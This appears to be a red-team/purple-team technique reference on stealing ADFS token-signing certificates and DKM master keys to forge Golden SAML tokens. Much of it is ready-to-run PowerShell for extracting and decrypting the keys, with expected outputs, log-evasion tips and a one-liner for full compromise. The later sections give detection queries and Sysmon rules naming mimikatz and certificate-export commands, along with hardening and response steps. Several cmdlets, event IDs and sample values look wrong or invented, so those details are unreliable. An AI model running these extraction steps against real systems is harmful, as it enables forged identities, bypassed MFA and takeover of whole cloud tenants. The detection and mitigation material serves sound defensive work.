| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-019 |
| MITRE ATT&CK v18.1 | T1552.004 - Unsecured Credentials: Private Keys |
| Tactic | Credential Access |
| Platforms | Hybrid AD (ADFS on Windows Server), Azure AD Connect, on-premises Entra ID Federation |
| Severity | Critical |
| CVE | CVE-2025-21193 (ADFS Spoofing Vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2016 (RTM+), 2019 (RTM+), 2022 (RTM+), 2025 (all versions) |
| Patched In | CVE-2025-21193 partially addressed; design flaws remain unpatched |
| Author | SERVTEP – Artur Pchelnikau |
Note: All sections 1-17 are included because ADFS certificate theft is a complex, multi-platform attack with extensive detection, mitigation, and real-world usage. Section 6 (Atomic Red Team) is included as official tests exist for this technique.
Active Directory Federation Services (ADFS) is the on-premises identity federation component that bridges on-premises Active Directory with cloud services like Microsoft Entra ID (formerly Azure AD) and Microsoft 365. ADFS uses X.509 certificates to cryptographically sign SAML and OAuth tokens, proving the legitimacy of authentication assertions to cloud-based relying parties.
Adversaries who compromise the ADFS token-signing certificate can forge authentication tokens claiming any user identity (including Global Administrator) and authenticate to Azure AD, Microsoft 365, and integrated SaaS applications without requiring the user’s password, MFA device, or any legitimate authentication. This is known as a Golden SAML attack.
The certificate is encrypted at rest using the Distributed Key Manager (DKM)—a key derivation scheme where the master key is stored in Active Directory. Attackers can extract the certificate through eight documented attack paths: (1) direct export via MMC (local admin), (2) .NET reflection to bypass CryptoAPI restrictions, (3) access to the ADFS configuration database, (4) directory replication services (DCSync), (5) ADFS configuration synchronization, (6) custom certificate extraction, (7) in-memory extraction via malware, or (8) direct database query access.
Attack Surface: ADFS server filesystem, Windows certificate store, ADFS configuration database (WID or SQL Server), Active Directory (DKM container), domain controller replication services, Azure AD Connect synchronization accounts.
Business Impact: Complete tenant compromise, persistent unauthorized access to Microsoft 365 and cloud SaaS applications, data exfiltration, ransomware deployment, supply chain attacks. Unlike typical password-based compromises, Golden SAML attacks bypass all Conditional Access policies, MFA requirements, and risk-based authentication. A single compromised ADFS server can compromise thousands of users and federated partners. The SolarWinds incident (2020) exploited this technique to compromise U.S. government agencies and Fortune 500 companies.
Technical Context: ADFS token-signing certificates typically have 10-year validity periods. Once stolen, the certificate can be used indefinitely until explicitly rotated. Organizations often fail to detect token forgery because legitimate SAML tokens and forged tokens are cryptographically identical and indistinguishable at the Azure AD layer.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.2, 5.2.3 | Ensure ADFS certificates are stored securely; monitor certificate access and export attempts |
| DISA STIG | GEN002820, GEN003800 | Cryptographic device management and certificate-based authentication controls |
| CISA SCuBA | Azure-1.1 | Requires federated identity monitoring and certificate security controls |
| NIST 800-53 | IA-5(e), SC-12 | Cryptographic device and certificate lifecycle management |
| NIST 800-207 | Zero Trust - Device Validation | Continuous verification of identity federation components; certificate compromise breaks trust model |
| GDPR | Art. 32, Art. 33 | Security of Processing; Incident notification (certificate theft triggers data breach notification) |
| DORA | Art. 9 | Protection and Prevention - identity federation is critical OT component |
| NIS2 | Art. 21 | Cyber Risk Management Measures - federation certificates are Tier-0 assets |
| ISO 27001 | A.10.1.2, A.10.2.1 | Cryptographic controls for key and certificate management |
| ISO 27005 | Risk Scenario 8 | “Compromise of Authentication Credentials” - token-signing certificates are authentication credentials |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Verify ADFS service is installed and running
Get-Service -Name adfssrv | Select-Object Name, Status, StartType
# Check installed ADFS version
Get-AdfsProperties | Select-Object DomainName, Identifier, CertificateThumbprint
# Enumerate all ADFS certificates (requires local admin or ADFS service account)
Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {
$_.Subject -match "CN=ADFS" -or $_.Issuer -match "ADFS"
} | Select-Object Thumbprint, Subject, Issuer, NotAfter, HasPrivateKey
What to Look For:
HasPrivateKey = True (can be exported or used locally)Success Indicator: Returns 3+ certificates with ADFS issuer, at least one with private key and >5 years validity
# Verify access to ADFS configuration database (WID or SQL)
$adfsService = Get-AdfsProperties
$configDbName = $adfsService.ConfigurationDatabase
# If using Windows Internal Database (WID)
if ($configDbName -like "*WID*") {
$widPath = "C:\Windows\WID\Data"
Get-ChildItem $widPath -ErrorAction SilentlyContinue | Select-Object Name, CreationTime
# Attempt to query WID database
# Requires SYSTEM or ADFS service account
sqlcmd -S "\\.\pipe\Microsoft##WID\tsql\query" -Q "SELECT * FROM [AdfsConfigurationV4].[dbo].[ServiceSettings]"
}
# If using SQL Server
else {
# Query connection string from ADFS config
Get-Item "HKLM:\SOFTWARE\Microsoft\ADFS" -ErrorAction SilentlyContinue
}
What to Look For:
# Locate DKM container in AD
$dkmContainer = Get-ADObject -Filter 'ObjectClass -eq "Container"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com" -Properties * -ErrorAction SilentlyContinue
if ($dkmContainer) {
Write-Host "DKM Container Found: $($dkmContainer.DistinguishedName)"
# Enumerate DKM contact objects (contain encrypted master key)
$dkmKeys = Get-ADObject -Filter 'ObjectClass -eq "Contact"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com" -Properties thumbnailPhoto
foreach ($key in $dkmKeys) {
Write-Host "DKM Key Object: $($key.Name)"
}
}
What to Look For:
# Check if Azure AD Connect is installed
$adConnectPath = "C:\Program Files\Microsoft Azure AD Connect"
if (Test-Path $adConnectPath) {
Write-Host "Azure AD Connect installed at: $adConnectPath"
# Check service account and configuration
Get-Service -Name ADSync | Select-Object Name, Status, User
# Extract connection information from registry
$syncConfig = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -ErrorAction SilentlyContinue
Write-Host "Configuration: $($syncConfig | Format-Table -AutoSize | Out-String)"
}
What to Look For:
# Check if current user has directory replication rights
$dkm = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com"
$acl = Get-Acl -Path "AD:\$dkm"
# Audit rules for "Replicate Directory Changes"
$acl.Access | Where-Object {
$_.ObjectType -match "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
} | Select-Object IdentityReference, AccessControlType, InheritedObjectType
What to Look For:
Supported Versions: Windows Server 2016-2025
Prerequisites: Local Administrator on ADFS server; certificate must have “Exportable” flag enabled (custom certificates); managed certificates may have non-exportable keys
Objective: Establish admin context on ADFS server.
Prerequisites: RDP, WinRM, or physical access with privilege escalation
Command (RDP):
# Verify admin access
$isAdmin = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
if (-not $isAdmin) {
Write-Host "Not running as admin. Attempting UAC bypass..."
# Use PrintSpooler vulnerability or other priv esc
}
Write-Host "Admin confirmed: $isAdmin"
Expected Output:
Admin confirmed: True
# Open Certificate Manager (mmc.exe, Certificates snap-in)
# Navigate: Certificates (Local Computer) → Personal → Certificates
# Right-click on ADFS token-signing certificate
# Select: All Tasks → Export
# Choose: "Yes, export the private key"
# Format: PKCS #12 (.pfx)
# Password: Set strong password
# Alternative: Use CertUtil to export (automation-friendly)
$thumbprint = "A1B2C3D4E5F6G7H8I9J0K1" # From previous enumeration
$cert = Get-Item -Path "Cert:\LocalMachine\My\$thumbprint"
# Export using CertUtil (no elevation of privilege needed if cert is exportable)
certutil -exportPFX My $thumbprint "C:\Temp\adfs-token.pfx" -p "ExportPassword123!"
# Or PowerShell method:
$pfxPassword = ConvertTo-SecureString -String "ExportPassword123!" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\adfs-token.pfx" -Password $pfxPassword -Force
# Verify export
Test-Path "C:\Temp\adfs-token.pfx"
Expected Output:
True # File successfully created
What This Means:
OpSec & Evasion:
$env:TEMP rather than obvious locations like DesktopRemove-Item "C:\Temp\adfs-token.pfx" -Force-ErrorAction SilentlyContinue to suppress PowerShell transcript loggingTroubleshooting:
The certificate could not be exported
Access Denied to certificate store
runas /user:DOMAIN\ADMIN powershell.exe# Get ADFS Issuer URI (needed for Golden SAML token forging)
$adfsProperties = Get-AdfsProperties
$issuerUri = $adfsProperties.Identifier
$domainName = $adfsProperties.DomainName
Write-Host "Issuer URI: $issuerUri"
Write-Host "Domain: $domainName"
# Export to file for attacker use
@{
IssuerUri = $issuerUri
Domain = $domainName
TokenSigningCertThumbprint = $thumbprint
} | ConvertTo-Json | Out-File "C:\Temp\adfs-config.json"
What This Reveals:
Supported Versions: Windows Server 2016-2025
Prerequisites: Local Administrator on ADFS server; .NET Framework 4.5+
# Install AADInternals module (if not already present)
Install-Module AADInternals -Scope CurrentUser -Force
# Import the module
Import-Module AADInternals
# Export ADFS certificates (all types: signing, encryption, communication)
Export-AADIntADFSCertificates -Path "C:\Temp\adfs-certs\"
# This command:
# - Extracts token-signing certificate (encrypted PFX blob from config DB)
# - Extracts token-encryption certificate
# - Exports custom certificates from Windows certificate store
# - Decrypts using DKM key (if local access)
# Check exported files
Get-ChildItem "C:\Temp\adfs-certs\" -Filter "*.pfx" -Recurse | Select-Object Name, Length
Expected Output:
Name Length
---- ------
TokenSigningCertificate.pfx 2048
TokenEncryptionCertificate.pfx 2048
CommunicationCertificate.pfx 1024
Version-Specific Notes:
# If AADInternals module not available, use custom .NET reflection
# This bypasses CryptoAPI restrictions on non-exportable keys
Add-Type -AssemblyName System.Security
$certPath = "C:\Temp\adfs-certs\TokenSigningCertificate.pfx"
$certPassword = "" # Typically no password on exported managed cert
# Import certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$cert.Import($certPath, $certPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Extract private key
$rsaKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
$keyBlob = $rsaKey.ExportRSAPrivateKey()
# Convert to PEM format
$keyPem = "-----BEGIN RSA PRIVATE KEY-----`n"
$keyPem += [System.Convert]::ToBase64String($keyBlob)
$keyPem += "`n-----END RSA PRIVATE KEY-----"
$keyPem | Out-File "C:\Temp\adfs-signing-key.pem"
# Verify extraction
Get-Content "C:\Temp\adfs-signing-key.pem" | Select-String "BEGIN RSA PRIVATE KEY"
What This Means:
Supported Versions: Windows Server 2016-2025 (requires domain admin or “Replicate Directory Changes” permission)
Objective: Obtain the encrypted DKM key from Active Directory to decrypt stored ADFS certificates.
# Step 1: Locate DKM container in AD
$adfsContainer = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com"
# Check if you have replication rights
$drsCapable = Test-ADFSReplicationRights -TargetContainer $adfsContainer
if ($drsCapable) {
# Use Mimikatz DCSync to extract DKM key (requires SYSTEM privileges)
# Note: This generates Event ID 4662 in Security log
# Alternative: PowerShell method using AD module
$dkmKey = Get-ADObject -Filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' `
-SearchBase $adfsContainer `
-Properties thumbnailPhoto |
Select-Object -First 1 -ExpandProperty thumbnailPhoto
# Convert key to usable format
$keyString = [System.BitConverter]::ToString($dkmKey)
Write-Host "DKM Master Key (Hex): $keyString"
# Save for later use
[System.IO.File]::WriteAllBytes("C:\Temp\dkm-master-key.bin", $dkmKey)
}
Expected Output:
DKM Master Key (Hex): A1-B2-C3-D4-E5-F6-G7-H8-I9-J0-K1-L2-M3-N4-O5-P6
What This Reveals:
OpSec & Evasion:
-Properties thumbnailPhoto to avoid triggering full object enumeration alerts# Use AADInternals with extracted DKM key
Import-Module AADInternals
# If you have the raw DKM key (hex), use it to decrypt stored certificates
$dkmKeyHex = "A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6"
$dkmKey = [Convert]::FromHexString($dkmKeyHex)
# Decrypt ADFS certificates stored in config database
$decryptedCerts = Invoke-AADIntDecryptADFSCertificates -DKMKey $dkmKey
# Export decrypted certificates
$decryptedCerts | ForEach-Object {
Export-PfxCertificate -Cert $_ -FilePath "C:\Temp\$($_.Thumbprint).pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
}
Supported Versions: Windows Server 2016-2025
Prerequisites: Access to ADFS configuration database (WID or SQL Server); SYSTEM or ADFS service account context
# Determine if WID or SQL is used
$adfsService = Get-Service -Name adfssrv
$configType = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ADFS" -Name ConfigDatabase
if ($configType.ConfigDatabase -like "*WID*") {
# Windows Internal Database (default)
$connectionString = "Data Source=\\.\pipe\Microsoft##WID\tsql\query;Initial Catalog=AdfsConfigurationV4"
}
else {
# SQL Server (custom)
$connectionString = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ADFS" -Name SQLConnectionString
}
# Connect to database (requires SYSTEM or ADFS service account)
$conn = New-Object System.Data.SqlClient.SqlConnection($connectionString)
$conn.Open()
Write-Host "Connected to ADFS configuration database"
# Query for encrypted token-signing certificate
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT ServiceSettingsData FROM AdfsConfigurationV4.dbo.ServiceSettings WHERE ID=0"
$reader = $cmd.ExecuteReader()
if ($reader.Read()) {
$settingsXml = $reader.GetString(0) # Returns XML with encrypted PFX blob
# Parse XML to extract EncryptedPfx
[xml]$xml = $settingsXml
$encryptedBlob = $xml.ServiceSettingsData.SecurityTokenService.EncryptedPfx
# Save encrypted blob for decryption
[System.IO.File]::WriteAllText("C:\Temp\encrypted-cert.xml", $encryptedBlob)
}
$reader.Close()
What This Reveals:
# Use AADInternals to decrypt blob
$encryptedBlob = Get-Content "C:\Temp\encrypted-cert.xml"
$dkmKey = [System.IO.File]::ReadAllBytes("C:\Temp\dkm-master-key.bin")
# Decrypt
$decryptedBytes = Invoke-AADIntDecryptADFSCertBlob -EncryptedBlob $encryptedBlob -DKMKey $dkmKey
# Export as PFX
[System.IO.File]::WriteAllBytes("C:\Temp\adfs-signing-cert.pfx", $decryptedBytes)
Write-Host "Certificate decrypted and saved"
Supported Versions: Windows Server 2016-2025 (Azure AD Connect 1.1+)
Prerequisites: Local Administrator on Azure AD Connect server
# Azure AD Connect typically runs with elevated permissions (often DA-equivalent)
# Compromising AADConnect → extract sync account → full infrastructure compromise
Get-Service -Name ADSync | Select-Object Name, User, Status
# Extract SQL connection string from AADConnect config
$configPath = "C:\ProgramData\AADConnect\AADConnectSettings.ini"
if (Test-Path $configPath) {
Get-Content $configPath | Select-String "SQL"
}
# Alternatively, query registry for connection info
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Recurse | Select-String "SQL|Server|Password"
# AADConnect service account often has permissions to:
# - Read ADFS certificates
# - Modify ADFS configuration
# - Access AD sync account (can be used for further privilege escalation)
# Use compromised AADConnect credentials to:
# 1. Query ADFS config database
# 2. Extract DKM keys from AD
# 3. Export token-signing certificate
# This is a pivot point - compromise one component, leverage to compromise federation
Atomic Test ID: T1552.004-4
Test Name: Retrieve ADFS Signing Certificates
Description: Extracts AD FS token signing and encrypting certificates in preparation for Golden SAML forgery attack.
Supported Versions: Windows Server 2016+ with ADFS installed
Command:
Invoke-AtomicTest T1552.004 -TestNumbers 4
Cleanup Command:
Remove-Item "C:\Temp\adfs-*.pfx" -Force -ErrorAction SilentlyContinue
Reference: Atomic Red Team T1552.004 Tests
Version: 0.9.5+
Supported Platforms: Windows Server 2016-2025 with PowerShell 5.1+
Installation:
Install-Module AADInternals -Scope CurrentUser -Force
Import-Module AADInternals
Usage (ADFS Certificate Export):
# Local export (requires admin on ADFS server)
Export-AADIntADFSCertificates -Path "C:\Temp\certs"
# Remote export (requires ADFS service account credentials)
Export-AADIntADFSCertificates -Path "C:\Temp\certs" -Name "ADFSSERVER.domain.com" -Credentials $credObject
# Includes automatic DKM decryption
Version Notes:
Type: Post-Exploitation Backdoor (NOBELIUM/Cozy Bear group)
Capability: Extracts token-signing and encryption certificates from compromised ADFS server
Installation: Delivered via ADFS server compromise; executes in memory
Usage: Automated certificate extraction via Service.GetCertificate() method
Version: 1.0+
Supported Platforms: Linux, Windows (Python-based)
Installation:
git clone https://github.com/mandiant/adfs-spoof-toolkit.git
cd adfs-spoof-toolkit
pip install -r requirements.txt
Usage (Post-Certificate Extraction):
# Create forged SAML token claiming Global Administrator
python3 forge-saml.py \
--certificate-file adfs-signing-cert.pfx \
--certificate-password "password" \
--user alice@contoso.com \
--claims '{"immutableid":"alice-immutableid","groups":["admin"]}' \
--issuer "https://adfs.contoso.com/adfs/services/trust"
# Output: Forged SAML token (base64-encoded) ready for authentication
# One-liner for complete ADFS compromise (local admin context)
$adfsThumb = (Get-AdfsProperties).CertificateThumbprint;
$cert = Get-Item "Cert:\LocalMachine\My\$adfsThumb";
$pfxPassword = ConvertTo-SecureString "P@ss123!" -AsPlainText -Force;
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\adfs.pfx" -Password $pfxPassword -Force;
Get-AdfsProperties | ConvertTo-Json | Out-File "C:\Temp\adfs-config.json"
Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:Security EventID=4885
| where Computer like "%adfs*"
| stats count by Computer, user, process_name, object_name
| where count >= 1
What This Detects:
Manual Configuration Steps:
Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:Security EventID=4662
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed"
| where ObjectName like "%ADFS%"
| stats count by SubjectUserName, Computer, OperationType
What This Detects:
False Positives:
Tuning:
index=main sourcetype=WinEventLog:Security EventID=4662
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed"
| where ObjectName like "%ADFS%"
| where SubjectUserName NOT IN ("SYSTEM", "NT AUTHORITY\NETWORK SERVICE", "svc_*")
Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:Security EventID=4688
| where ProcessName IN ("mimikatz.exe", "powershell.exe", "cmd.exe", "certutil.exe")
| where CommandLine IN ("*Export-PfxCertificate*", "*crypto::capi*", "*crypto::certificates*", "*exportPFX*")
| where ParentProcessName != "explorer.exe"
| stats count by Computer, ProcessName, User, CommandLine
What This Detects:
Source: Splunk: Breaking the Chain - Defending Against Certificate Abuse
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4885 // Certificate export
| where Computer contains "adfs" or Computer contains "fed"
| summarize ExportCount = count(), UserList = make_set(TargetUserName) by bin(TimeGenerated, 5m)
| where ExportCount > 2
| project TimeGenerated, ExportCount, UserList, Computer
What This Detects:
Manual Configuration (Azure Portal):
[Paste KQL Query]
Run every: 5 minutes
Lookup data from: 30 minutes
Rule Configuration:
KQL Query:
SigninLogs
| where FederatedCredentialId contains "ADFS"
| where LocationDetails.countryOrRegion != "US" // Anomaly: unexpected location
| where RiskLevelDuringSignIn == "low" and RiskLevelAggregated == "high" // Contradictory risk signals
| join kind=leftanti (
AuditLogs
| where OperationName == "Federate identity"
| project CorrelationId
) on CorrelationId
| project TimeGenerated, UserPrincipalName, LocationDetails_countryOrRegion, RiskLevelAggregated, ResourceId
What This Detects:
False Positives:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4662
| where ObjectType == "%{5cb41ed0-0e4c-11d0-a286-00aa003049e2}" // ADFS container GUID
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed" // thumbnailPhoto GUID (DKM key)
| where AccessMask == "0x10" or AccessMask == "0x1f" // READ or FULL_CONTROL
| project TimeGenerated, SubjectUserName, Computer, OperationType
| summarize AccessCount = count() by SubjectUserName
| where AccessCount > 2
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where Computer contains "adfs" and EventID == 1200 // Token issued
| where TargetUserName contains "@" // User principal name format
| summarize TokenCount = count() by bin(TimeGenerated, 1m), TargetUserName, IpAddress
| where TokenCount > 100 // Threshold: more than 100 tokens per minute per user per IP
| project TimeGenerated, TargetUserName, IpAddress, TokenCount
What This Detects:
Event ID: 4885 (Audit Filter Configuration Changed)
EventID == 4885 AND (Computer LIKE "%adfs%" OR Computer LIKE "%fed%")Event ID: 4887 (Certificate Services Approved Certificate Request)
EventID == 4887 AND Requester NOT IN ("SYSTEM", "NT AUTHORITY\NETWORK SERVICE")Event ID: 4662 (Directory Services Access - DKM Key)
EventID == 4662 AND Properties CONTAINS "8d3bca50-1d7e-11d0-a081-00aa006c33ed" AND ObjectName LIKE "%ADFS%"Manual Configuration Steps (Group Policy):
gpupdate /force on all ADFS servers and domain controllersEvent ID: 33205 (ADFS Configuration Database Modified)
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016-2025
<!-- Rule: Detect Certificate Export via PowerShell or CertUtil -->
<Sysmon schemaversion="4.72">
<EventFiltering>
<RuleGroup name="ADFS Certificate Extraction" groupRelation="or">
<!-- Process: PowerShell with Export-PfxCertificate -->
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">Export-PfxCertificate</CommandLine>
<ParentImage condition="excludes">explorer.exe</ParentImage>
</ProcessCreate>
<!-- Process: CertUtil with exportPFX -->
<ProcessCreate onmatch="include">
<Image condition="contains">certutil.exe</Image>
<CommandLine condition="contains">exportPFX</CommandLine>
</ProcessCreate>
<!-- Process: Mimikatz -->
<ProcessCreate onmatch="include">
<Image condition="contains">mimikatz</Image>
</ProcessCreate>
<!-- File: Certificate export to temp directory -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\.pfx</TargetFilename>
<TargetFilename condition="contains">\Temp\</TargetFilename>
</FileCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: ADFSCertificateExtraction (proprietary MDC name)
Manual Configuration Steps (Enable Defender for Servers):
Operation: ModifyADFSServiceAccount, UpdateADFSCertificate, ExportADFSCertificate
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "ModifyADFSServiceAccount" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Select-Object TimeStamp, UserIds, Operations, ObjectId, AuditData | Export-Csv "C:\audit_adfs.csv"
Details to Analyze:
Manual Configuration Steps:
Action 1: Deploy Hardware Security Module (HSM) for Certificate Storage
Migrate ADFS token-signing certificates from software-based Windows certificate store to dedicated HSM (e.g., FIPS 140-2 Level 3 hardware). Private keys never leave the HSM, preventing extraction via Mimikatz, .NET reflection, or any software-based attack.
Applies To Versions: Server 2016-2025
Manual Steps:
Update-AdfsCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint> -InputObject $hsmCert
Get-AdfsCertificate | Where {$_.CertificateType -eq "Token-Signing"} | Select-Object IsHSMBacked
Expected Output:
IsHSMBacked
-----------
True
Validation Command:
# Attempt to export should fail
$cert = Get-Item "Cert:\LocalMachine\My\<thumbprint>"
Export-PfxCertificate -Cert $cert -FilePath "test.pfx" -Password (ConvertTo-SecureString "test" -AsPlainText -Force) -ErrorAction Stop
# Should fail with: "Certificate has non-exportable private key"
Action 2: Implement Tier-0 Access Control on ADFS Servers
Treat ADFS servers as Tier-0 assets (equivalent to domain controllers). Restrict administrative access using Privileged Access Workstations (PAWs), multi-factor authentication, and Just-In-Time (JIT) access.
Applies To Versions: Server 2016-2025
Manual Steps:
# Via Group Policy
gpmc.msc → Policies → Security Settings → Interactive Logon → Require MFA for logon
# Azure Portal → Entra ID → Security → Conditional Access
# Create policy: Block Legacy Auth for ADFS Admin Group
Validation:
# Verify only privileged accounts can access ADFS
Get-ADFSProperties | Select-Object @{Name="AdminGroupRoles"; Expression={Get-ADFSAdministrationRole}} | Format-List
Action 3: Enable DKM Container Access Auditing
Enable detailed auditing on the ADFS DKM container in Active Directory to detect DCSync and unauthorized access attempts.
Applies To Versions: Server 2016-2025 (Domain Controllers)
Manual Steps:
$dkmPath = 'AD:\CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com'
Set-AuditRule -AdObjectPath $dkmPath -WellKnownSidType WorldSid -Rights GenericRead -InheritanceFlags None -AuditFlags Success
Get-Acl -Audit $dkmPath | Select-Object Audit
Validation:
# Query audit logs for DKM access
Get-WinEvent -FilterHashtable @{
LogName = "Security"
ID = 4662
Data = "8d3bca50-1d7e-11d0-a081-00aa006c33ed" # thumbnailPhoto GUID
} | Select-Object TimeCreated, ProviderName, Message
Action 1: Implement Certificate Rotation Policy
Rotate ADFS token-signing and encryption certificates every 12 months (or sooner if compromise suspected).
Applies To Versions: Server 2016-2025
Manual Steps:
Update-AdfsCertificate -CertificateType Token-Signing -AutoCertificateRollover $true
Action 2: Enforce Strong ADFS Service Account Security
Use Group Managed Service Account (gMSA) instead of traditional service accounts. gMSA requires no password management and cannot be used for interactive logon.
Applies To Versions: Server 2016-2025
Manual Steps:
New-ADServiceAccount -Name "ADFS_gMSA" -DNSHostName "adfs.contoso.com" -ServicePrincipalNames "host/adfs.contoso.com"
Install-ADServiceAccount -Identity "ADFS_gMSA"
Update-AdfsServiceAccount -ServiceAccount "CONTOSO\ADFS_gMSA"
Conditional Access Policies:
Policy 1: Require Compliant Device + MFA for ADFS Admin Access
ADFS Admin Tier-0 ProtectionRBAC/ABAC Hardening:
Minimize permissions for ADFS-related service accounts and administrators.
Manual Steps:
Add-AdfsAdministrationRole -RoleName "Token-Signing Certificate Manager" -Members "ADFS_ADMINS" -Scope "Token-Signing"
Files:
*.pfx, *.p12, *.pem files in C:\Temp\, C:\Windows\Temp\, $env:APPDATA\TempC:\backup\adfs-*, \\*\share\adfs_backup*.bin (raw binary), *.hex (hex-encoded)*.mdf (SQL), AdfsConfigurationV4 database filesRegistry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ADFS\Network:
Cloud (Entra ID / Microsoft 365):
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\AD FS 2.0\Admin.evtxC:\Windows\System32\winevt\Logs\AD FS 2.0\Debug.evtxC:\Windows\ADFS\Trace directory (detailed operation logs)C:\Windows\Temp\*, %APPDATA%\Temp\*Memory:
lsass.exe process contains DKM keys and decrypted certificate materialMicrosoft.IdentityServer.Servicehost.exe holds certificate objects in memoryCloud Logs:
ADFS Configuration Database:
C:\Windows\WID\Data\ (if using default WID)SELECT * FROM [AdfsConfigurationV4].[dbo].[ServiceSettings]Isolate:
Command (Disable ADFS Service):
Stop-Service -Name adfssrv -Force
Set-Service -Name adfssrv -StartupType Disabled
Manual (Disable via Server Manager):
Cloud Side (Revoke Federation):
# In Entra ID, disable ADFS federation temporarily
Connect-MsolService
Set-MsolDomainAuthentication -DomainName contoso.com -Authentication Managed
Collect Evidence:
Command (Export Logs):
# Export Windows Security Event Log
wevtutil epl Security "C:\Evidence\Security.evtx"
# Export ADFS logs
wevtutil epl "AD FS 2.0\Admin" "C:\Evidence\adfs-admin.evtx"
wevtutil epl "AD FS 2.0\Debug" "C:\Evidence\adfs-debug.evtx"
# Export ADFS ULS logs
Copy-Item "C:\Windows\ADFS\Trace\*" "C:\Evidence\uls-logs" -Recurse
# Export ADFS configuration database
net stop adfssrv
Copy-Item "C:\Windows\WID\Data\*" "C:\Evidence\wid-backup" -Recurse
net start adfssrv
Manual (via Event Viewer):
C:\Evidence\security.evtxRemediate:
Command (Rotate Certificates - Double Rotation):
# Microsoft recommends rotating TWICE to invalidate cached tokens
# Rotation 1
Update-AdfsCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint_1>
# Wait 30 minutes for token expiry (tokens cached in Azure AD)
Start-Sleep -Seconds 1800
# Rotation 2
Update-AdfsCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint_2>
# Verify rotation completed
Get-AdfsCertificate | Where {$_.CertificateType -eq "Token-Signing"} | Select-Object Thumbprint, IsPrimary
Command (Reset Compromised Azure AD Accounts):
# Reset passwords for all Global Admins (to invalidate forged token sessions)
Connect-MsolService
$admins = Get-MsolRole | where {$_.Name -eq "Company Administrator"} | Get-MsolRoleMember
foreach ($admin in $admins) {
Set-MsolUserPassword -ObjectId $admin.ObjectId -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -ForceChangePasswordNextLogin $true
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing Email | Compromise ADFS admin via targeted phishing; extract credentials |
| 2 | Execution | [T1059.001] PowerShell | Execute reconnaissance and certificate export scripts |
| 3 | Persistence | [T1556.004] Modify Cloud Federation | Modify ADFS trust relationship to capture tokens |
| 4 | Credential Access | [CA-UNSC-019] | Extract ADFS token-signing certificate and DKM master key |
| 5 | Defense Evasion | [T1550.003] Use Alternate Authentication Material | Forge SAML tokens, bypass MFA and Conditional Access |
| 6 | Impact | [T1531] Account Access Removal | Create backdoor Global Admin accounts; maintain persistent access |
| 7 | Data Exfiltration | [T1567.002] Exfiltrate via Cloud | Access Microsoft 365 mailboxes, SharePoint, OneDrive; steal sensitive data |
Federation server (ADFS) certificate theft represents a critical and persistent threat to hybrid cloud environments. Unlike traditional password-based breaches, Golden SAML attacks:
Key Defensive Priorities:
Compliance Impact: Organizations managing ADFS must ensure federation security per ISO 27001 A.10.1.2, NIST 800-53 IA-5, GDPR Article 32, and EU DORA Article 9. ADFS certificate compromise triggers GDPR data breach notification requirements and can result in significant regulatory fines ($14M+ in SolarWinds-related settlements).
Current Threat Level: ACTIVE